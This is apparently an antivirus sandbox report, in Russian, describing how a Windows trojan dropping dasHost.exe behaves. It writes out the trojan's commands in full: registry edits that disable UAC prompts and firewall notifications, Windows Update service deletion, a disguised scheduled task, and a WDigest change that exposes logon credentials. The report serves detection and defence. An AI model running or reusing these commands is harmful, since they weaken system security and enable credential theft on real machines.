Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows] 'Load' = '%ALLUSERSPROFILE%\WindowsNT\dasHost.exe'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows] 'Load' = '%ALLUSERSPROFILE%\WindowsNT\dasHost.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 'Load' = '%ALLUSERSPROFILE%\WindowsNT\dasHost.exe'
- [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, %ALLUSERSPROFILE%\WindowsNT\dasHost.exe'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, %ALLUSERSPROFILE%\WindowsNT\dasHost.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, %ALLUSERSPROFILE%\WindowsNT\dasHost.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoft\windows\ras\mobilitymanagement
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DisableNotifications' = '00000001'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DoNotAllowExceptions' = '00000000'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DisableNotifications' = '00000001'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Обновления системы (Windows Update)
блокирует:
- Центр поддержки Windows (Action Center)
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /im dasHost.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /im dllhost.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /im spoolsv.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /im rutserv.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /im rfusclient.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /im ROMViewer.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /im rutview.exe /F
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Device Association Framework Provider Host" dir=in action=allow program="%ALLUSERSPROFILE%\WindowsNT\dasHost.exe" enable=yes edge=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Windows ICMPv4" dir=in action=allow edge=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Windows ICMPv4" dir=out action=allow
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\spoolsv.exe
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\windowsnt\tmp.bat
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msdfmap.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msdaremr.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msdarem.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msdaprst.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msdaprsr.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msaddsr.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msadds.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msadcs.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msadcor.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msadco.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msadcfr.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msadcf.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msadcer.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\en-us\msadcfr.dll.mui
- %ALLUSERSPROFILE%\windowsnt\system\msadc\en-us\msadcer.dll.mui
- %ALLUSERSPROFILE%\windowsnt\system\msadc\handler.reg
- %ALLUSERSPROFILE%\windowsnt\system\msadc\adcvbs.inc
- %ALLUSERSPROFILE%\windowsnt\system\msadc\adcjavas.inc
- %ALLUSERSPROFILE%\windowsnt\system\en-us\wab32res.dll.mui
- %ALLUSERSPROFILE%\windowsnt\system\ado\en-us\msader15.dll.mui
- %ALLUSERSPROFILE%\windowsnt\system\ado\msjro.dll
- %ALLUSERSPROFILE%\windowsnt\system\ado\msadrh15.dll
- %ALLUSERSPROFILE%\windowsnt\system\ado\msadox28.tlb
- %ALLUSERSPROFILE%\windowsnt\system\ado\msadox.dll
- %ALLUSERSPROFILE%\windowsnt\system\ado\msador15.dll
- %ALLUSERSPROFILE%\windowsnt\system\ado\msadomd28.tlb
- %ALLUSERSPROFILE%\windowsnt\system\ado\msadomd.dll
- %ALLUSERSPROFILE%\windowsnt\system\ado\msado28.tlb
- %ALLUSERSPROFILE%\windowsnt\system\msadc\msadce.dll
- %ALLUSERSPROFILE%\network\microsoft\acxtrnal.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\en-us\msadcor.dll.mui
- %ALLUSERSPROFILE%\windowsnt\system\ole db\en-us\oledb32r.dll.mui
- %ALLUSERSPROFILE%\windowsnt\system\ole db\en-us\msdasqlr.dll.mui
- %ALLUSERSPROFILE%\windowsnt\system\ole db\en-us\msdaorar.dll.mui
- %ALLUSERSPROFILE%\windowsnt\system\ole db\xmlrwbin.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\xmlrw.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\sqlxmlx.rll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\sqlxmlx.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\sqloledb.rll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\sqloledb.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\oledbvbs.inc
- %ALLUSERSPROFILE%\windowsnt\system\ole db\oledbjvs.inc
- %ALLUSERSPROFILE%\windowsnt\system\ole db\oledb32r.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\oledb32.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msxactps.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdaurl.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdatt.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdatl3.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdasqlr.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdasql.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdasc.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdaps.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdaosp.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdaorar.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdaora.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdaer.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdaenum.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\msdadc.dll
- %ALLUSERSPROFILE%\windowsnt\system\msadc\en-us\msdaremr.dll.mui
- %ALLUSERSPROFILE%\windowsnt\system\msadc\en-us\msdaprsr.dll.mui
- %ALLUSERSPROFILE%\windowsnt\system\ado\msado27.tlb
- %ALLUSERSPROFILE%\windowsnt\system\msadc\handsafe.reg
- %ALLUSERSPROFILE%\windowsnt\system\ado\msado26.tlb
- %ALLUSERSPROFILE%\windowsnt\system\ado\msado25.tlb
- %ALLUSERSPROFILE%\windowsnt\system\ado\msado21.tlb
- %ALLUSERSPROFILE%\windowsnt\xpsrchvw.xml
- %ALLUSERSPROFILE%\network\microsoft\aclayers.dll
- %ALLUSERSPROFILE%\network\microsoft\acgenral.dll
- %ALLUSERSPROFILE%\network\wwan_profile_v1.xsd
- %ALLUSERSPROFILE%\network\wlan_profile_v1.xsd
- %ALLUSERSPROFILE%\network\wlan_policy_v1.xsd
- %ALLUSERSPROFILE%\network\wlanap_profile_v1.xsd
- %ALLUSERSPROFILE%\network\onex_v1.xsd
- %ALLUSERSPROFILE%\network\lan_profile_v1.xsd
- %ALLUSERSPROFILE%\network\lan_policy_v1.xsd
- %ALLUSERSPROFILE%\network\prnms001.inf
- %ALLUSERSPROFILE%\network\prnms001.cat
- %ALLUSERSPROFILE%\network\mxdwdui.ini
- %ALLUSERSPROFILE%\network\mxdwdui.gpd
- %ALLUSERSPROFILE%\windowsnt\wsmanconfig_schema.xml
- %ALLUSERSPROFILE%\network\microsoft\acspecfc.dll
- %ALLUSERSPROFILE%\windowsnt\tcpbidi.xml
- %ALLUSERSPROFILE%\windowsnt\racrules.xml
- %ALLUSERSPROFILE%\windowsnt\ndfeventview.xml
- %ALLUSERSPROFILE%\windowsnt\locationnotificationsview.xml
- %ALLUSERSPROFILE%\windowsnt\sysmain.sdb
- %ALLUSERSPROFILE%\windowsnt\pcamain.sdb
- %ALLUSERSPROFILE%\windowsnt\msimain.sdb
- %ALLUSERSPROFILE%\windowsnt\drvmain.sdb
- nul
- %ALLUSERSPROFILE%\windowsnt\tmp.vbe
- %ALLUSERSPROFILE%\windowsnt\tmp
- %ALLUSERSPROFILE%\windowsnt\temp
- %ALLUSERSPROFILE%\windowsnt\dashost.exe
- %ALLUSERSPROFILE%\windowsnt\system\ole db\en-us\sqloledb.rll.mui
- %ALLUSERSPROFILE%\windowsnt\system\msadc\en-us\msaddsr.dll.mui
- %ALLUSERSPROFILE%\network\microsoft\acwow64.dll
- %ALLUSERSPROFILE%\network\microsoft\esscli.dll
- %ALLUSERSPROFILE%\network\microsoft\acres.dll
- %ALLUSERSPROFILE%\windowsnt\system\ado\msado20.tlb
- %ALLUSERSPROFILE%\windowsnt\system\ado\msado15.dll
- %ALLUSERSPROFILE%\windowsnt\system\ado\msader15.dll
- %ALLUSERSPROFILE%\windowsnt\system\ado\adovbs.inc
- %ALLUSERSPROFILE%\windowsnt\system\ado\adojavas.inc
- %ALLUSERSPROFILE%\windowsnt\system\wab32res.dll
- %ALLUSERSPROFILE%\windowsnt\system\wab32.dll
- %ALLUSERSPROFILE%\windowsnt\system\directdb.dll
- %ALLUSERSPROFILE%\network\dllhost.exe
- %ALLUSERSPROFILE%\network\microsoft\wmiutils.dll
- %ALLUSERSPROFILE%\network\microsoft\wmiperfinst.dll
- %ALLUSERSPROFILE%\network\microsoft\wmiperfclass.dll
- %ALLUSERSPROFILE%\network\microsoft\wmidcprv.dll
- %ALLUSERSPROFILE%\network\microsoft\wmicookr.dll
- %ALLUSERSPROFILE%\network\microsoft\wmiaprpl.dll
- %ALLUSERSPROFILE%\network\microsoft\win32_tpm.dll
- %ALLUSERSPROFILE%\network\microsoft\wbemsvc.dll
- %ALLUSERSPROFILE%\network\microsoft\wbemprox.dll
- %ALLUSERSPROFILE%\network\microsoft\wbemdisp.dll
- %ALLUSERSPROFILE%\network\microsoft\wbemcntl.dll
- %ALLUSERSPROFILE%\network\microsoft\vsswmi.dll
- %ALLUSERSPROFILE%\network\microsoft\viewprov.dll
- %ALLUSERSPROFILE%\network\microsoft\vdswmi.dll
- %ALLUSERSPROFILE%\network\microsoft\stdprov.dll
- %ALLUSERSPROFILE%\network\microsoft\racwmiprov.dll
- %ALLUSERSPROFILE%\network\microsoft\policman.dll
- %ALLUSERSPROFILE%\network\microsoft\mofd.dll
- %ALLUSERSPROFILE%\network\microsoft\fastprox.dll
- %ALLUSERSPROFILE%\network\microsoft\apihex86.dll
- %ALLUSERSPROFILE%\windowsnt\system\ole db\en-us\sqlxmlx.rll.mui
Присваивает атрибут 'скрытый' для следующих файлов
- %ALLUSERSPROFILE%\windowsnt\tmp.bat
- %ALLUSERSPROFILE%\windowsnt\tmp
- %ALLUSERSPROFILE%\windowsnt\tmp.vbe
Удаляет следующие файлы
- %ALLUSERSPROFILE%\windowsnt\temp
- %ALLUSERSPROFILE%\windowsnt\tmp
- %ALLUSERSPROFILE%\windowsnt\tmp.vbe
Сетевая активность
UDP
- 'localhost':59339
- 'localhost':50366
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\wscript.exe' //B %ALLUSERSPROFILE%\WindowsNT\tmp.vbe
- '%ALLUSERSPROFILE%\windowsnt\dashost.exe'
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\WindowsNT\tmp.bat' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\WindowsNT\tmp.bat
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall delete rule name="Windows ICMPv4"
- '%WINDIR%\syswow64\powercfg.exe' /X -standby-timeout-ac 0
- '%WINDIR%\syswow64\powercfg.exe' /X -hibernate-timeout-ac 0
- '%WINDIR%\syswow64\powercfg.exe' /X -standby-timeout-dc 0
- '%WINDIR%\syswow64\powercfg.exe' /X -hibernate-timeout-dc 0
- '%WINDIR%\syswow64\powercfg.exe' -setdcvalueindex scheme_current sub_processor bc5038f7-23e0-4960-96da-33abaf5935ec 100
- '%WINDIR%\syswow64\powercfg.exe' -setacvalueindex scheme_current sub_processor bc5038f7-23e0-4960-96da-33abaf5935ec 100
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, %ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d 1 /f /reg:32
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f /reg:32
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d 1 /f /reg:64
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d 1 /f /reg:64
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f /reg:64
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v "NoInteractiveServices" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\UI0Detect" /v Start /t REG_DWORD /d 4 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v "UseLogonCredential" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\sc.exe' stop WUAUSERV
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v "DoNotAllowExceptions" /t REG_DWORD /d 0 /F
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall delete rule name="Device Association Framework Provider Host"
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v "DisableNotifications" /t REG_DWORD /d 1 /F
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "DoNotAllowExceptions" /t REG_DWORD /d 0 /F
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "DisableNotifications" /t REG_DWORD /d 1 /F
- '%WINDIR%\syswow64\reg.exe' add HKCU\Console\WindowsPowerShell_1508390 /f
- '%WINDIR%\syswow64\xcopy.exe' "%CommonProgramFiles(x86)%\System" "%ALLUSERSPROFILE%\WindowsNT\System" /CHIQRSYZ
- '%WINDIR%\syswow64\schtasks.exe' /Create /RU "" /XML "%ALLUSERSPROFILE%\WindowsNT\tmp" /TN "Microsoft\Windows\Ras\MobilityManagement" /F
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F /reg:32
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F /reg:32
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F /reg:64
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F /reg:64
- '%WINDIR%\syswow64\sc.exe' delete WUAUSERV
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d 1 /f /reg:32
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, %ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, %ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F /reg:32
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, %ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F /reg:64
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, %ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F /reg:64
- '%WINDIR%\syswow64\reg.exe' delete HKCU\Software\TektonIT /F
- '%WINDIR%\syswow64\reg.exe' delete HKCU\Software\TektonIT /F /reg:32
- '%WINDIR%\syswow64\reg.exe' delete HKCU\Software\TektonIT /F /reg:64
- '%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\Remote Manipulator System" /F
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v "DisableNotifications" /t REG_DWORD /d 1 /F
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v "DoNotAllowExceptions" /t REG_DWORD /d 0 /F
- '%WINDIR%\syswow64\reg.exe' query HKCU\Console\WindowsPowerShell_1508390
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, %ALLUSERSPROFILE%\WindowsNT\dasHost.exe" /F /reg:32
- '<SYSTEM32>\spoolsv.exe'
